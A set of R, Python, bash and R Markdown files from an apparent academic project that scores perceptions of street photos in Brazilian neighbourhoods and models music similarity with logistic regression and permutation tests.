# summary(baselineModel)
# summary(lModel)
#
# vif(lModel)
#
# modelChi <- baselineModel$deviance - lModel$deviance
# chidf <- baselineModel$df.residual - lModel$df.residual
# chisq.prob <- 1 - pchisq(modelChi, chidf)
# modelChi; chidf; chisq.prob
<file_sep>ipak <- function(pkg){
new.pkg <- pkg[!(pkg %in% installed.packages()[, "Package"])]
if (length(new.pkg))
install.packages(new.pkg, dependencies = TRUE)
sapply(pkg, require, character.only = TRUE)
}
# usage
packages <- c("GGally", "dplyr", "ggplot2", "gmodels", "vcd", "lme4", "nlme", "caret", "pscl", "DT", "broom", "readr")
ipak(packages)
#install.packages("GGally", dependencies = TRUE)
#install.packages("dplyr", dependencies = TRUE)
#install.packages("ggplot2", dependencies = TRUE)
#install.packages("gmodels", dependencies = TRUE)
#install.packages("vcd", dependencies = TRUE)
#install.packages("lme4", dependencies = TRUE)
#install.packages("nlme", dependencies = TRUE)
#install.packages("caret", dependencies = TRUE)
#install.packages("pscl", dependencies = TRUE)
#install.packages("DT", dependencies = TRUE)
#install.packages("broom", dependencies = TRUE)
#install.packages("readr", dependencies = TRUE)
#ips: 10.30.0.23 (diego, /local/davidcmm)
<file_sep>#!/bin/python
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
import operator
def write_html(photos_differences, question, photos_info):
outputFile = open("fotos_ordenadas_por_local_"+question+".html", "w")
outputFile.write("<body style=\"overflow:scroll\">\n");
counter = 0
outputFile.write("<h2>"+question+"</h2>")
outputFile.write("<table>\n")
outputFile.write("<tr>\n")
for item in sorted_diff:
photo1 = item[0].split("+")[0]
photo2 = item[0].split("+")[1]
if "catole" in photo1 or "liberdade" in photo1:
photo1_url = "https://contribua.org/bairros/oeste/"+photo1
else:
photo1_url = "https://contribua.org/bairros/norte/"+photo1
if "catole" in photo2 or "liberdade" in photo2:
photo2_url = "https://contribua.org/bairros/oeste/"+photo2
else:
photo2_url = "https://contribua.org/bairros/norte/"+photo2
outputFile.write("<td><img src=\""+photo1_url+"\" width=\"400\" height=\"300\"></td>\n")
outputFile.write("<td><img src=\""+photo2_url+"\" width=\"400\" height=\"300\"></td>\n")
outputFile.write("<td>" + str(photo1) + " " + str(photos_info[photo1]) + " " + str(photo2) + " " + str(photos_info[photo2]) + " Diff: " + str(item[1]) + "</td>\n")
counter += 1
outputFile.write("</tr>\n")
outputFile.write("<tr>\n")
outputFile.write("</tr>\n")
outputFile.write("</table>")
outputFile.write("</body>\n")
outputFile.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com Q-Scores>"
sys.exit(1)
data = pd.read_table(sys.argv[1], sep='\s+', encoding='utf8', header=0)
images_dict = {"agrad%C3%A1vel?" : {}, "seguro?" : {}}
#Reading qscores
for index, row in data.iterrows():
image = row['V2']
question = row['V1']
qscore = row['V3']
images_dict[question][image] = qscore
for question in images_dict.keys():
print(">>>>> Scores " + question)
photos_info = images_dict[question]
photos = photos_info.keys()
photos.sort()#Sorting photos so that same places become close to each other!
for photo in photos:
print(str(photo)+"\t"+str(photos_info[photo]))
#Computing Q-Scores differences for same places
photos_diff = {}
for i in range(0, len(photos)-1, 2):
photo1 = photos[i]
photo2 = photos[i+1]
photos_diff[photo1+"+"+photo2] = abs(photos_info[photo1] - photos_info[photo2])
print(">>>>> Diffs " + question)
#Printing places according to sorted difference
sorted_diff = sorted(photos_diff.items(), key=operator.itemgetter(1))
for item in sorted_diff:
print(str(item[0])+"\t"+str(item[1]))
write_html(sorted_diff, question, photos_info)
<file_sep># coding=utf-8
# Reads Q-Scores per photo and group them by street and by point in order to evaluate variations!
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com Q-Scores ordenados>"
sys.exit(1)
df = pd.read_table(sys.argv[1], sep='\s+', encoding='utf8', header=None)
#Retrieving street name, number and angle of each photo
def get_street_name(values):
data = values.split("/")[6].split("_")[0:-2]
return "_".join(data)
def get_street_num(values):
data = values.split("/")[6].split("_")[-2]
return data
def get_street_angle(values):
data = values.split("/")[6].split("_")[-1].split(".")
return data[0]
df['rua'] = df[1].apply(get_street_name)
df['numero'] = df[1].apply(get_street_num)
df['angulo'] = df[1].apply(get_street_angle)
#Updating numbers at Floriano street
df.loc[(df['rua'] == "Av._Mal._Floriano_Peixoto") & (df['numero'] == "912"), 'numero'] = "913"
df.loc[(df['rua'] == "Av._Mal._Floriano_Peixoto") & (df['numero'] == "826"), 'numero'] = "813"
df.loc[(df['rua'] == "Av._Mal._Floriano_Peixoto") & (df['numero'] == "660"), 'numero'] = "691"
df.loc[(df['rua'] == "Av._Mal._Floriano_Peixoto") & (df['numero'] == "580"), 'numero'] = "549"
df.loc[(df['rua'] == "Av._Mal._Floriano_Peixoto") & (df['numero'] == "480"), 'numero'] = "445"
#TO DO: Lidar com numero / Floriano Peixoto!
#Group by street and then street, number to see summaries: http://pandas.pydata.org/pandas-docs/stable/groupby.html#applying-multiple-functions-at-once
out_summary = open("qscores-df-summary.dat", "w")
grouped = df.groupby('rua')
out_summary.write(str(grouped[2].describe()))#Description of mean value of Q-Scores simulations per street
out_summary.write("\n")
grouped = df.groupby(['rua', 'numero'], as_index=False)
out_summary.write(str(grouped[2].describe()))
out_summary.write("\n")
out_summary.close()
#Output dataframe
df.to_csv("./qscores-df.csv", index=False, header=['question', 'url', 'qscore', 'street', 'num', 'angle'], columns=[0, 1, 2, 'rua', 'numero', 'angulo'], encoding='utf-8')
#Iterate through all streets, numbers!
#all_streets = data.rua.unique()
#def get_summary_per_street(current_df):
# all_numbers = current_df.numero.unique()
#
#for street in all_streets:
# bool_street = (df.rua == street)
# street_df = df[bool_street]
#
# get_summary_per_street(street_df)
<file_sep>#!/bin/bash
for input_file in classifier_input_wodraw.dat classifier_input_3classes.dat ; do
#classifier_input_rnr.dat ; do
#classifier_input_3classes.dat ; do
outputSpec=''
if [ ${input_file} == 'classifier_input_lnl.dat' ] ; then
outputSpec='lnl'
importancesFile=''
elif [ ${input_file} == 'classifier_input_rnr.dat' ] ; then
outputSpec='rnr'
importancesFile=''
elif [ ${input_file} == 'classifier_input_wodraw.dat' ] ; then
outputSpec='wodraw'
importancesFile='classifier_tests_features_importances_userout_wodraw.dat '
else
outputSpec='3classes'
importancesFile='classifier_tests_features_importances_userout_3classes.dat '
fi
python classify.py ${input_file} importances-file ${importances_File}
done
<file_sep>---
title: "logit_musicas"
output: html_document
---
```{r setup, include=FALSE}
knitr::opts_chunk$set(echo = TRUE)
require(gmodels)
require(vcd)
require(lme4)
library(nlme)
library(caret)
library(pscl)
library(DT)
library(ggplot2)
theme_set(theme_bw())
library(GGally)
library(dplyr, warn.conflicts = F)
library(broom)
library(car)
library(readr)
library(caret)
```
```{r lib}
compare_glms <- function(baseline, model){
modelChi <- baseline$deviance - model$deviance
chidf <- baseline$df.residual - model$df.residual
chisq.prob <- 1 - pchisq(modelChi, chidf)
print(paste(modelChi, chidf, chisq.prob))
}
compare_null <- function(baselineModel){
modelChi <- baselineModel$null.deviance - baselineModel$deviance
chidf <- baselineModel$df.null - baselineModel$df.residual
chisq.prob <- 1 - pchisq(modelChi, chidf)
print(paste(modelChi, chidf, chisq.prob))
}
computePseudoR2 <- function(baselineModel, completeModel){
print("<NAME>")
print( completeModel@devcomp$cmp['dev'] / baselineModel@devcomp$cmp['dev'] )
print("<NAME>")
print( (baselineModel@devcomp$cmp['dev'] - completeModel@devcomp$cmp['dev']) / baselineModel@devcomp$cmp['dev'] )
print("<NAME>")
cs <- 1 - exp( (completeModel@devcomp$cmp['dev'] - baselineModel@devcomp$cmp['dev']) / nrow(completeModel@frame) )
print( cs )
print("Nagelkerke")
print( cs / ( 1 - exp(- baselineModel@devcomp$cmp['dev'] / nrow(completeModel@frame) ) ) )
}
```
```{r read}
#Leitura dos dados
raw_data <- read.csv("./training_set_sl=8_chromaOTI_mfcc.csv", header=TRUE)
data = raw_data %>% mutate_at( vars(sim.A.B....sim.A.C.), as.factor)
#Scale or not scale input?
```
```{r model.lib}
create_model_only_int = function(the_data){
return(glm(
sim.A.B....sim.A.C. ~ 1,
data = the_data,
family = binomial()))
#gls(choice ~ 1, data = agrad, method = "ML")
}
create_model_w_interact = function(the_data){
return(glm(
sim.A.B....sim.A.C. ~ simple_chroma_AB + simple_chroma_AC + simple_chroma_BC + simple_mfcc_AB + simple_mfcc_AC + simple_mfcc_BC,
data = the_data,
family = binomial()))
}
```
```{r}
#Explanatory Model Using all data
intercept_model <- create_model_only_int(data)
complete_model <- create_model_w_interact(data)
summary(intercept_model)
summary(complete_model)
logLik(intercept_model)*-2
logLik(complete_model)*-2
computePseudoR2(baselineModel = intercept_model, completeModel = complete_model)
vif(complete_model)
pR2(complete_model)
#Confidence intervals: https://stats.idre.ucla.edu/r/dae/logit-regression/
cc <- confint(complete_model, parm="beta_", level = 0.95, method="boot", nsim=1, parallel="multicore", ncpus=2)
#Predicting: https://www.theanalysisfactor.com/r-tutorial-glm1/; https://www.tatvic.com/blog/logistic-regression-with-r/; https://www.analyticsvidhya.com/blog/2015/11/beginners-guide-on-logistic-regression-in-r/; **https://www.r-bloggers.com/evaluating-logistic-regression-models/
#Simple partition with 60% for training and 40% for testing
Train <- createDataPartition(data$sim.A.B....sim.A.C., p=0.6, list=FALSE, times=100)
training <- data[ Train, ]
testing <- data[ -Train, ]
mod_fit <- train(sim.A.B....sim.A.C. ~ simple_chroma_AB + simple_chroma_AC + simple_chroma_BC + simple_mfcc_AB + simple_mfcc_AC + simple_mfcc_BC, data=training, method="glm", family="binomial")
exp(coef(mod_fit$finalModel))
#Predicting and accuracy
#predict(mod_fit, newdata=testing)
#predict(mod_fit, newdata=testing, type="prob")
pred = predict(mod_fit, newdata=testing)
accuracy <- table(pred, testing[,"sim.A.B....sim.A.C."])
sum(diag(accuracy))/sum(accuracy)
#Confusion matrix to explore false positives and negatives
pred = predict(mod_fit, newdata=testing)
confusionMatrix(data=pred, testing$sim.A.B....sim.A.C.)#https://en.wikipedia.org/wiki/Sensitivity_and_specificity
#Using 10-fold cross-validation
ctrl <- trainControl(method = "repeatedcv", number = 5, savePredictions = TRUE)
mod_fit <- train(sim.A.B....sim.A.C. ~ simple_chroma_AB + simple_chroma_AC + simple_chroma_BC + simple_mfcc_AB + simple_mfcc_AC + simple_mfcc_BC, data=training, method="glm", family="binomial", trControl = ctrl)#, tuneLength = 5)
pred = predict(mod_fit, newdata=testing)
accuracy <- table(pred, testing[,"Class"])
sum(diag(accuracy))/sum(accuracy)
confusionMatrix(data=pred, testing$Class)
```
<file_sep>---
title: "Pontos Notáveis"
output:
html_document:
self_contained: no
pdf_document: default
---
<style>
body .main-container {
max-width: 100%;
margin-left: 20px;
margin-right: auto;
}
</style>
Pontos notáveis (positivos e negativos) apontados por nosso método e descrição.
```{r setup, include=FALSE}
cat("<br/>")
library("ggplot2")
library("dplyr")
library("knitr")
library("texreg")
library("ineq")
library(R.utils)
library("knitr")
library("spdep")
library("reshape")
library("fitdistrplus")
multiplot <- function(..., plotlist=NULL, file, cols=1, layout=NULL) {
library(grid)
# Make a list from the ... arguments and plotlist
plots <- c(list(...), plotlist)
numPlots = length(plots)
# If layout is NULL, then use 'cols' to determine layout
if (is.null(layout)) {
# Make the panel
# ncol: Number of columns of plots
# nrow: Number of rows needed, calculated from # of cols
layout <- matrix(seq(1, cols * ceiling(numPlots/cols)),
ncol = cols, nrow = ceiling(numPlots/cols))
}
if (numPlots==1) {
print(plots[[1]])
} else {
# Set up the page
grid.newpage()
pushViewport(viewport(layout = grid.layout(nrow(layout), ncol(layout))))
# Make each plot, in the correct location
for (i in 1:numPlots) {
# Get the i,j matrix positions of the regions that contain this subplot
matchidx <- as.data.frame(which(layout == i, arr.ind = TRUE))
print(plots[[i]], vp = viewport(layout.pos.row = matchidx$row,
layout.pos.col = matchidx$col))
}
}
}
best_folder <- "../../percepcaoLocal/agradavel/melhores/intersects/"
worst_folder <- "../../percepcaoLocal/agradavel/piores/intersects/"
show_street_data <- function (current_df, all_data, force_split, highlighted_positive, best_folder, worst_folder, highlighted_neutral){
color_space <- c("#000000", "#001900", "#003300", "#004c00", "#006600", "#007f00", "#009900", "#00b200", "#00cc00", "#00e500", "#00ff00", "#ffffff")
step <- (max(all_data$qscore) - min(all_data$qscore)) / length(color_space)
thresholds <- seq(min(all_data$qscore), max(all_data$qscore), step)
cat("<div class='row'>")
angleData = c()
for(i in 1:nrow(current_df)) {
row <- current_df[i,]
street <- as.character(row$street)
photo_name <- as.character(row$url) #as.character(row$photo_name)
number <- row$num2
angl <- row$angle
score <- row$qscore
angleData <- append(angleData, score)
filtered <- filter(highlighted_positive, num==number & angle == angl)
filtered_neutral <- filter(highlighted_neutral, num==number & angle == angl)
folder <- "none"
font_color <- "white"
if (nrow(filtered) > 0){
color_index <- 11
if (file.exists(paste(best_folder, photo_name, sep=""))){
url <- photo_name#paste(best_folder, photo_name, sep="")
folder <- "best"
}else if (file.exists(paste(worst_folder, photo_name, sep=""))){
url <- photo_name#paste(worst_folder, photo_name, sep="")
folder <- "worst"
}else{
url <- as.character(row$url)
}
}else if (nrow(filtered_neutral) > 0){
color_index <- 12
font_color <- "black"
if (file.exists(paste(best_folder, photo_name, sep=""))){
url <- photo_name#paste(best_folder, photo_name, sep="")
folder <- "best"
}else if (file.exists(paste(worst_folder, photo_name, sep=""))){
url <- photo_name#paste(worst_folder, photo_name, sep="")
folder <- "worst"
}else{
url <- as.character(row$url)
}
}
else{
color_index <- 1
if (file.exists(paste(worst_folder, photo_name, sep=""))){
url <- photo_name#paste(worst_folder, photo_name, sep="")
folder <- "worst"
}else if (file.exists(paste(best_folder, photo_name, sep=""))){
url <- photo_name#paste(best_folder, photo_name, sep="")
folder <- "best"
}else{
url <- as.character(row$url)
}
}
cat(paste("<div class='col-xs-3' style=\"background-color:", color_space[color_index],"\"align=\"center\">", sep=""))
cat("<img src='", url,"' width='400px'>", sep = "")
cat("<p style=\"color:",font_color,";font-size:90%\">", number, "-", angl, "-> ", score, "</p>", sep="")#folder, "-",
cat("</div>")
#End of row with 4 images
if(force_split && i%%4 == 0){
cat("<div class=\"col-xs-12\" style=\"height:1000px;\"></div>")
}
}
}
```
```{r results='asis', echo=FALSE, out.extra='', fig.height=10, fig.width=12, warning=FALSE}
#Checking sample size
scores_data <- read.table("../all100/all_ordenado.dat")
scores_data$sd <- apply(scores_data[,4:ncol(scores_data)], 1, sd)
scores_data$n <- ( 1.96 * scores_data$sd / 0.2) ** 2 #All QScores
scores_data$ci <- scores_data$sd * 1.96 / sqrt(100)
novoV2 <- lapply(as.character(scores_data$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][7])
novoV2 <- unlist(lapply(novoV2, '[[', 1))
novoV2 <- strsplit(novoV2, split="\\.jpg")
photo <- unlist(lapply(novoV2, '[[', 1))
scores_data$photo_name <- photo
scores_data <- arrange(scores_data, photo_name)
qscoresDFGeral <- read.csv("../qscores-df-geral.csv", header = TRUE)
#Plotting Q-Scores through the street
#Plotting Q-Scores through the street
all_data <- merge(qscoresDFGeral, scores_data, by.x = "url", by.y="V2")#qscoresDFGeral
all_data$street <- as.character(all_data$street)
all_data$street <- factor(all_data$street, levels=unique(all_data$street))
#Simulating numbers in street
aprigio <- arrange(filter(all_data, street == "Av_Aprigio_Veloso"), -num)
aprigio$num2 <- 0
aprigio[3,]$num2 <- 1
aprigio[4,]$num2 <- 1
for (i in seq(5, nrow(aprigio), 4) ) {
cur_num <- aprigio[i,]$num
cur_num2 <- aprigio[i+1,]$num
cur_num3 <- aprigio[i+2,]$num
cur_num4 <- aprigio[i+3,]$num
base_num <- aprigio[1,]$num
base_num2 <- aprigio[2,]$num
base_num3 <- aprigio[3,]$num
base_num4 <- aprigio[4,]$num
aprigio[i,]$num2 <- abs(cur_num - base_num)
aprigio[i+1,]$num2 <- abs(cur_num2 - base_num2)
aprigio[i+2,]$num2 <- abs(cur_num3 - base_num3)+1
aprigio[i+3,]$num2 <- abs(cur_num4 - base_num4)+1
}
rodrigues <- arrange(filter(all_data, street == "R._Rodrigues_Alves"), -num)
rodrigues$num2 <- 315 + 163
for (i in seq(5, nrow(rodrigues), 4) ) {
cur_num <- rodrigues[i,]$num
cur_num2 <- rodrigues[i+1,]$num
cur_num3 <- rodrigues[i+2,]$num
cur_num4 <- rodrigues[i+3,]$num
base_num <- rodrigues[1,]$num
base_num2 <- rodrigues[2,]$num
base_num3 <- rodrigues[3,]$num
base_num4 <- rodrigues[4,]$num
rodrigues[i,]$num2 <- rodrigues[i,]$num2 + abs(cur_num - base_num)
rodrigues[i+1,]$num2 <- rodrigues[i+1,]$num2 + abs(cur_num2 - base_num2)
rodrigues[i+2,]$num2 <- rodrigues[i+2,]$num2 + abs(cur_num3 - base_num3)
rodrigues[i+3,]$num2 <- rodrigues[i+3,]$num2 + abs(cur_num4 - base_num4)
}
#MErging both streets into one
all_data <- rbind(aprigio, rodrigues)
all_data[all_data$street == "R._Rodrigues_Alves",]$street <- "Av_Aprigio_Veloso"
```
#\#\#\# Rua 1
Ponto máximo e mínimo
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cristina <- dplyr::filter(all_data, street == "Av_Aprigio_Veloso") %>% dplyr::group_by(num2) %>% dplyr::arrange(street, num2, angle) %>% dplyr::select(url, photo_name, street, num2, angle, qscore, V3, ci)
cat("<br/>")
max_point <- filter(cristina, qscore == max(cristina$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#00ff00","\"align=\"center\">", sep=""))
cat("<img src='", as.character(max_point$url),"' width='800px'>", sep = "")# paste(best_folder, max_point$photo_name, sep="")
cat("<p style=\"color:black;font-size:90%\">", max_point$num2, "- ", max_point$angle, "-", max_point$qscore, "</p>", sep="")
cat("</div>")
min_point <- filter(cristina, qscore == min(cristina$qscore))
cat(paste("<div class='col-xs-6' style=\"background-color:", "#000000","\"align=\"center\">", sep=""))
cat("<img src='", as.character(min_point$url),"' width='800px'>", sep = "")#as.character(min_point$url)
cat("<p style=\"color:white;font-size:90%\">", min_point$num2, "- ", min_point$angle, "-", min_point$qscore, "</p>", sep="")
cat("</div>")
cat("<br/>")
```
Pontos notáveis destacados por ponto na rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
highlighted_positive <- data.frame(num=c(1, 1, 199, 199, 315, 315, 716, 716, 891, 891, 891), angle=c(60, 315, 60, 315, 60, 315, 55, 240, 325, 240, 145))
highlighted_neutral <- data.frame(num=c(0, 314, 478, 1138), angle=c(135, 240, 235, 325))
show_street_data(cristina, all_data, TRUE, highlighted_positive, best_folder, worst_folder, highlighted_neutral)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
Descrição da rua
* Média/mediana: 4.51/4.35 x 4.68/4.74 -> mediana para ruim? (por conta da alta variação, parecida com Edésio)
* Variação no surprise? 2 Maior variação (heterogênea)
* Lado melhor? Side1 (8) x Side2 (3) -> side1 claramente melhor no começo da rua (6 x 0)
* Região melhor? 4, 318, 894
<file_sep>import pandas as pd
import numpy as np
def abs_mean(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
return np.abs(argsrt_1 - argsrt_2).mean()
def abs_median(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
return np.median(np.abs(argsrt_1 - argsrt_2))
def top10_abs_mean_naza(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
abs_diff = np.abs(argsrt_1 - argsrt_2)
top_10_1 = abs_diff[argsrt_1[-10:]]
top_10_2 = abs_diff[argsrt_2[-10:]]
result = (top_10_1.mean() + top_10_2.mean()) / 2
return result
def top10_abs_mean_old(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
abs_diff = np.abs(argsrt_1 - argsrt_2)
top = abs_diff.argsort()[-10:]
return abs_diff[top].mean()
def ptest(df, name_g1, name_g2, pergunta, bairro=None, setor=None, num_permut=100000):
df = df[df.values[:, 1] == pergunta]
if bairro is not None:
df = df[df['bairro'] == bairro]
if setor is not None:
df = df[df['setor'] == int(setor)]
g1 = df[df['grupo'] == name_g1].values[:, 2]
g2 = df[df['grupo'] == name_g2].values[:, 2]
all_ = np.hstack((g1, g2))
n_g1 = len(g1)
n_g2 = len(g2)
n_all = len(all_)
functions = [
('Mean', abs_mean),
('Median', abs_median),
('Top10-Mean-Old', top10_abs_mean_old),
('Top10-Mean-Naza', top10_abs_mean_naza)]
actual = np.zeros(len(functions))
for i in xrange(len(functions)):
actual[i] = functions[i][1](g1, g2)
P = np.tile(np.arange(n_all), num_permut).reshape(num_permut, n_all)
P = np.apply_along_axis(np.random.permutation, 1, P)
R = np.zeros(shape=(P.shape[0], len(functions)))
permut_array = np.zeros(P.shape[0], dtype='f')
for i in xrange(P.shape[0]):
permut = P[i]
new_data = all_[permut]
new_g1 = new_data[:n_g1]
new_g2 = new_data[n_g1:]
for j in xrange(len(functions)):
R[i][j] = functions[j][1](new_g1, new_g2)
pvals = []
for i in xrange(len(functions)):
pvals.append(float((R[:, i] > actual[i]).sum()) / R.shape[0])
return (name_g1, name_g2, pergunta), actual, np.array(pvals), functions
def ptestFromFilesGroupPair(num_it, name_g1, name_g2, question, neig=None, sector=None):
questionsMap = {'agradavel?' : 'agrad%C3%A1vel?', 'seguro?' : 'seguro?'}
#Original data file
dfOrig = pd.read_csv('geralSetoresAJ.dat', sep=' ', encoding='utf8')
dfOrig = dfOrig.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
dfOrig = dfOrig[dfOrig.values[:, 1] == question]
if neig is not None:
dfOrig = dfOrig[dfOrig['bairro'] == neig]
if sector is not None:
dfOrig = dfOrig[dfOrig['setor'] == int(sector)]
g1 = dfOrig[dfOrig['grupo'] == name_g1].values[:, 2]
g2 = dfOrig[dfOrig['grupo'] == name_g2].values[:, 2]#Input files are sorted according to image names, so the order of QScores retrieved is paired for both groups
functions = [
('Mean', abs_mean),
('Median', abs_median),
('Top10-Mean-Old', top10_abs_mean_old),
('Top10-Mean-Naza', top10_abs_mean_naza)]
actual = np.zeros(len(functions))
for i in xrange(len(functions)):
actual[i] = functions[i][1](g1, g2)
R = np.zeros(shape=(num_it, len(functions)))
#Sampled users files
newQuestion = questionsMap[question]
for it in xrange(1, num_it+1):
df = pd.read_csv('samplesIds/geralSetoresAJ_'+str(it)+'.dat', sep=' ', encoding='utf8')
df = df[df.values[:, 1] == newQuestion]
if neig is not None:
df = df[df['bairro'] == neig]
if sector is not None:
df = df[df['setor'] == int(sector)]
g1 = df[df['grupo'] == name_g1].values[:, 2]
g2 = df[df['grupo'] == name_g2].values[:, 2]
for j in xrange(len(functions)):
R[it-1][j] = functions[j][1](g1, g2)
pvals = []
for i in xrange(len(functions)):
pvals.append(float((R[:, i] > actual[i]).sum()) / R.shape[0])
return (name_g1, name_g2, question), actual, np.array(pvals), functions
def ptestFromFiles(num_it, question, neig=None, sector=None):
questionsMap = {'agradavel?' : 'agrad%C3%A1vel?', 'seguro?' : 'seguro?'}
#Original data file
dfOrig = pd.read_csv('geralSetoresAJ.dat', sep=' ', encoding='utf8')
dfOrig = dfOrig.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
dfOrig = dfOrig[dfOrig.values[:, 1] == question]
if neig is not None:
dfOrig = dfOrig[dfOrig['bairro'] == neig]
if sector is not None:
dfOrig = dfOrig[dfOrig['setor'] == int(sector)]
#men = dfOrig[dfOrig['grupo'] == 'Masculino'].values[:, 2]#Input files are sorted according to image names, so the order of QScores retrieved is paired for all groups
#wom = dfOrig[dfOrig['grupo'] == 'Feminino'].values[:, 2]
#you = dfOrig[dfOrig['grupo'] == 'Jovem'].values[:, 2]
#adu = dfOrig[dfOrig['grupo'] == 'Adulto'].values[:, 2]
#low = dfOrig[dfOrig['grupo'] == 'Baixa'].values[:, 2]
#hig = dfOrig[dfOrig['grupo'] == 'Media'].values[:, 2]
#sin = dfOrig[dfOrig['grupo'] == 'Solteiro'].values[:, 2]
#mar = dfOrig[dfOrig['grupo'] == 'Casado'].values[:, 2]
#higS = dfOrig[dfOrig['grupo'] == 'Medio'].values[:, 2]
#pos = dfOrig[dfOrig['grupo'] == 'Pos'].values[:, 2]
knowCen = dfOrig[dfOrig['grupo'] == 'CCentro'].values[:, 2]
nknowCen = dfOrig[dfOrig['grupo'] == 'NCCentro'].values[:, 2]
knowLib = dfOrig[dfOrig['grupo'] == 'CLiberdade'].values[:, 2]
nknowLib = dfOrig[dfOrig['grupo'] == 'NCLiberdade'].values[:, 2]
knowCat = dfOrig[dfOrig['grupo'] == 'CCatole'].values[:, 2]
nknowCat = dfOrig[dfOrig['grupo'] == 'NCCatole'].values[:, 2]
functions = [
('Mean', abs_mean),
('Median', abs_median),
('Top10-Mean-Old', top10_abs_mean_old),
('Top10-Mean-Naza', top10_abs_mean_naza)]
actual = np.zeros(len(functions)*3)#*5
index = 0
i = 0
while index < len(actual):
#actual[index] = functions[i][1](men, wom)
#actual[index+1] = functions[i][1](you, adu)
#actual[index+2] = functions[i][1](low, hig)
#actual[index+3] = functions[i][1](sin, mar)
#actual[index+4] = functions[i][1](higS, pos)
#index = index + 5
actual[index] = functions[i][1](knowCen, nknowCen)
actual[index+1] = functions[i][1](knowLib, nknowLib)
actual[index+2] = functions[i][1](knowCat, nknowCat)
index = index + 3
i = i + 1
#R_gender = np.zeros(shape=(num_it, len(functions)))
#R_marital = np.zeros(shape=(num_it, len(functions)))
#R_age = np.zeros(shape=(num_it, len(functions)))
#R_income = np.zeros(shape=(num_it, len(functions)))
#R_educ = np.zeros(shape=(num_it, len(functions)))
R_cen = np.zeros(shape=(num_it, len(functions)))
R_lib = np.zeros(shape=(num_it, len(functions)))
R_cat = np.zeros(shape=(num_it, len(functions)))
#Sampled users files
newQuestion = questionsMap[question]
for it in xrange(1, num_it+1):
df = pd.read_csv('samplesIds/geralSetoresAJ_'+str(it)+'.dat', sep=' ', encoding='utf8')
df = df[df.values[:, 1] == newQuestion]
if neig is not None:
df = df[df['bairro'] == neig]
if sector is not None:
df = df[df['setor'] == int(sector)]
# men = df[df['grupo'] == 'Masculino'].values[:, 2]
# wom = df[df['grupo'] == 'Feminino'].values[:, 2]
# you = df[df['grupo'] == 'Jovem'].values[:, 2]
# adu = df[df['grupo'] == 'Adulto'].values[:, 2]
# low = df[df['grupo'] == 'Baixa'].values[:, 2]
# hig = df[df['grupo'] == 'Media'].values[:, 2]
# sin = df[df['grupo'] == 'Solteiro'].values[:, 2]
# mar = df[df['grupo'] == 'Casado'].values[:, 2]
# higS = df[df['grupo'] == 'Medio'].values[:, 2]
# pos = df[df['grupo'] == 'Pos'].values[:, 2]
knowCen = df[df['grupo'] == 'CCentro'].values[:, 2]
nknowCen = df[df['grupo'] == 'NCCentro'].values[:, 2]
knowLib = df[df['grupo'] == 'CLiberdade'].values[:, 2]
nknowLib = df[df['grupo'] == 'NCLiberdade'].values[:, 2]
knowCat = df[df['grupo'] == 'CCatole'].values[:, 2]
nknowCat = df[df['grupo'] == 'NCCatole'].values[:, 2]
for j in xrange(len(functions)):
#R_gender[it-1][j] = functions[j][1](men, wom)
#R_marital[it-1][j] = functions[j][1](sin, mar)
#R_age[it-1][j] = functions[j][1](you, adu)
#R_income[it-1][j] = functions[j][1](low, hig)
#R_educ[it-1][j] = functions[j][1](higS, pos)
R_cen[it-1][j] = functions[j][1](knowCen, nknowCen)
R_lib[it-1][j] = functions[j][1](knowLib, nknowLib)
R_cat[it-1][j] = functions[j][1](knowCat, nknowCat)
# pvals_gender = []
# pvals_age = []
# pvals_marital = []
# pvals_income = []
#pvals_educ = []
pvals_cen = []
pvals_lib = []
pvals_cat = []
index = 0
i = 0
while i < len(functions):
# pvals_gender.append(float((R_gender[:, i] > actual[index]).sum()) / R_gender.shape[0])
# pvals_age.append(float((R_age[:, i] > actual[index+1]).sum()) / R_age.shape[0])
# pvals_income.append(float((R_income[:, i] > actual[index+2]).sum()) / R_income.shape[0])
# pvals_marital.append(float((R_marital[:, i] > actual[index+3]).sum()) / R_marital.shape[0])
# pvals_educ.append(float((R_educ[:, i] > actual[index+4]).sum()) / R_educ.shape[0])
pvals_cen.append(float((R_cen[:, i] > actual[index]).sum()) / R_cen.shape[0])
pvals_lib.append(float((R_lib[:, i] > actual[index+1]).sum()) / R_lib.shape[0])
pvals_cat.append(float((R_cat[:, i] > actual[index+2]).sum()) / R_cat.shape[0])
index = index + 3#5
i = i + 1
#gender = ('Masculino', 'Feminino', question), actual[0:len(actual):5], np.array(pvals_gender), functions
#age = ('Jovem', 'Adulto', question), actual[1:len(actual):5], np.array(pvals_age), functions
#income = ('Baixa', 'Media', question), actual[2:len(actual):5], np.array(pvals_income), functions
#marital = ('Solteiro', 'Casado', question), actual[3:len(actual):5], np.array(pvals_marital), functions
#educ = ('Medio', 'Pos', question), actual[4:len(actual):5], np.array(pvals_educ), functions
centro = ('Centro', 'NCentro', question), actual[0:len(actual):3], np.array(pvals_cen), functions
lib = ('Liberdade', 'NLiberdade', question), actual[0:len(actual):3], np.array(pvals_lib), functions
cat = ('Catole', 'NCatole', question), actual[0:len(actual):3], np.array(pvals_cat), functions
return centro, lib, cat #gender, age, marital, income, educ
#Using sample users files
num_it = 100000
all_res = []
#all_res.append(ptestFromFiles(num_it, 'agradavel?'))
#all_res.append(ptestFromFiles(num_it, 'seguro?'))
#print ">>>> General: "
#for r in all_res:
#for index in xrange(len(all_res)):
# data = all_res[index]#All data for one question
# for j in xrange(len(data)):
# r = all_res[index][j]
# print r[0]
# for i, f in enumerate(r[-1]):
# print f[0], r[1][i]
# print 'pval', r[2][i]
